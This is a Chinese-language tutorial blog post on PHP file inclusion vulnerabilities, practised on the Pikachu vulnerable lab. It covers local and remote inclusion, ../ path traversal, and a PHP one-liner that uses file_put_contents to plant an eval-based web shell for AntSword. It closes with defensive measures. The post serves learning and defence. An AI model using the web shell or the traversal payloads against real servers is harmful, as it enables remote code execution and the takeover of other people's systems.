文件包含漏洞--pikachu靶场

目录

文件包含

文件包含函数

文件包含漏洞原理

文件包含的分类

LFI-本地文件包含

RFI-远程文件包含

基于pikachu靶场练习

本地文件包含

远程文件包含

防御


文件包含

文件包含是程序员将需要重复调用的函数写入一个文件,对该文件包含时的操作,如导航栏,尾部栏

文件包含函数

这些是基于代码开发层面的设计,也是文件包含漏洞能否利用的关键

  1. include:在包含文件时,如果找不到包含的文件,它只会产生告警,页面的解析过程不会停止
  2. include_once:如果文件的代码已经被包含,则不会再次被包含,避免出错---只包含一次
  3. require:在包含文件时,如果找不到包含的文件,则会产生一个致命的错误(fatal error,页面 解析就会停止
  4. require_once

文件包含漏洞原理

没有对文件包含函数中的参数进行规范定义,导入了恶意文件,执行攻击代码。文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生

文件包含的分类

LFI-本地文件包含

  1. 所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
  2. 所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。
  3. 常用于敏感文件读取

RFI-远程文件包含

本质与LFI相同,但是其能利用远程控制的方法结合蚁剑能更便于攻击

基于pikachu靶场练习

本地文件包含

通过下拉菜单选择球星实际是发送不同的get请求回显对应内容,文件包含漏洞的关键是文件包含函数(include/require)身份对参数有严格定义,因此我们是要找到能调用文件包含的php文件

发现参数的变化是有规律的file?,所以我们可以把这个数值设定为payload进行爆破,通过长度我们进入file7

通过的报错内容得知:调用file7.php时失败因为../fi_local.php没有file7.php这个路径,那我们就先找到这个fi_local

1.if(isset($GET['submit']) && $GET['filename']!=null)---isset()函数是检测变量是否引用且是否为0,这两个变量正是对应url中的两个参数。$_GET[' ']这是超全局变量,用于访问通过 HTTP GET 方法传递给当前脚本的参数。

2.include "include/$filename"---这是23行的内容也是漏洞的成因,因为将用户的get请求中的参数直接无条件的放入include语句去执行。当然漏洞修复在文档中也给出就是使用严格的白名单制,拒绝执行未知变量。

------------------------------

以上是确定漏洞的存在 现在就能利用了

输入路径时要用相对路径../代表上一级父目录,因为作为攻击者是很难完整掌握攻击主机的绝对路径,因此相对路径也提供了试错的更多可能性

远程文件包含

前提条件,设置完后必须要重启apache服务

我们先验证一下能否支持远程访问文件,注意需要把文件放在www目录或其子目录下,因为输入的IP就是指向的WWW目录。

如果要借助蚁剑工具现在就能写一个一句话木马然后生成php文件了,

<?php file_put_contents('s.php','<?php @eval($_REQUEST["password"]);?>'); ?>

但是这里我们选择file_put_contents 函数,用于将一个字符串写入文件,通过url

访问看似正常的文件文件时自动生成php恶意代码

注:.php文件生成的路径是url的对应的路径

url访问该txt 就会触发php代码生成s.php文件且该文件包含一个 eval() 函数,这个函数会执行通过 $_REQUEST (POST)数组接收到的任何代码。

防御

1、设置包含文件的白名单---如fi_local中提示我们的一样
2 、过滤危险字符,严格的用户输入,参数中不允许出现 ../ 这些特殊符号
3 、设置 PHP 包含的文件目录,在 php.ini 中的 open_basedir 进行设置,可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也可用符号 "." 来代表当前目录。
4 、关闭危险配置: allow_url_include .
5、代码审计
  • 13
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值